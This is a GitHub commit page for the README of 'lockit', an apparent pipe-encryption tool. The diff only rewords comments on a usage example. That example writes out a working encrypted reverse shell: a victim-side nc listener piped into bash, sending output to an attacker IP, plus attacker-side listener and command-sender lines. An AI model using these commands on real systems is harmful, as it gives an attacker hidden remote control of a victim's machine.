Skip to content

Commit

Permalink
README
Browse files Browse the repository at this point in the history
  • Loading branch information
krystianbajno committed Sep 1, 2024
1 parent 80e07e3 commit 5b2a786
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,9 +35,9 @@ echo "This is a very secret message" | ./lockit encrypt --pipe | nc localhost 99

You can wrap your reverse shell around it and you'll have it encrypted. Example:
```bash
nc -lvnp 9999 | ./lockit decrypt --pipe | bash 2>&1 | ./lockit encrypt --pipe | nc 192.168.50.160 9998 # 1. victim reverse shell
nc -lvnp 9998 | ./lockit decrypt --pipe # 2. attacker receiving output
./lockit encrypt --pipe | nc 192.168.60.244 9999 # 3. attacker sending commands
nc -lvnp 9999 | ./lockit decrypt --pipe | bash 2>&1 | ./lockit encrypt --pipe | nc 192.168.50.160 9998 # victim receiving commands
nc -lvnp 9998 | ./lockit decrypt --pipe # attacker receiving output
./lockit encrypt --pipe | nc 192.168.60.244 9999 # attacker sending commands
```

## Mechanism
Expand Down

0 comments on commit 5b2a786

Please sign in to comment.